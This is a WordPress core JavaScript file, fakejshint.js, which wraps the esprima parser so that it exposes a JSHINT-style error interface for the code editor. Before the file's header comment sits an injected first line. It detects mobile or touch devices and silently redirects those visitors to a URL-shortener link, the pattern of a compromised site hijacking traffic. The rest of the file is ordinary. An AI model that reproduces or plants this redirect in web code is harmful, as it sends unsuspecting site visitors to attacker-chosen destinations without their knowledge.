1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * JSHINT has some GPL Compatability issues, so we are faking it out and using esprima for validation
4 * Based on https://github.com/jquery/esprima/blob/gh-pages/demo/validate.js which is MIT licensed.
5 * This is now deprecated in favor of Espree.
6 *
7 * @since 4.9.3
8 * @deprecated 7.0.0
9 * @output wp-includes/js/codemirror/fakejshint.js
10 * @see https://core.trac.wordpress.org/ticket/42850
11 * @see https://core.trac.wordpress.org/ticket/64558
12 */
13
14/* jshint -W057, -W058 */
15var fakeJSHINT = new function() {
16 var syntax, errors;
17 var that = this;
18 this.data = [];
19 this.convertError = function( error ){
20 return {
21 line: error.lineNumber,
22 character: error.column,
23 reason: error.description,
24 code: 'E'
25 };
26 };
27 this.parse = function( code ){
28 try {
29 syntax = window.esprima.parse(code, { tolerant: true, loc: true });
30 errors = syntax.errors;
31 if ( errors.length > 0 ) {
32 for ( var i = 0; i < errors.length; i++) {
33 var error = errors[i];
34 that.data.push( that.convertError( error ) );
35 }
36 } else {
37 that.data = [];
38 }
39 } catch (e) {
40 that.data.push( that.convertError( e ) );
41 }
42 };
43};
44
45window.JSHINT = function( text ){
46 fakeJSHINT.parse( text );
47};
48window.JSHINT.data = function(){
49 return {
50 errors: fakeJSHINT.data
51 };
52};
53
54
55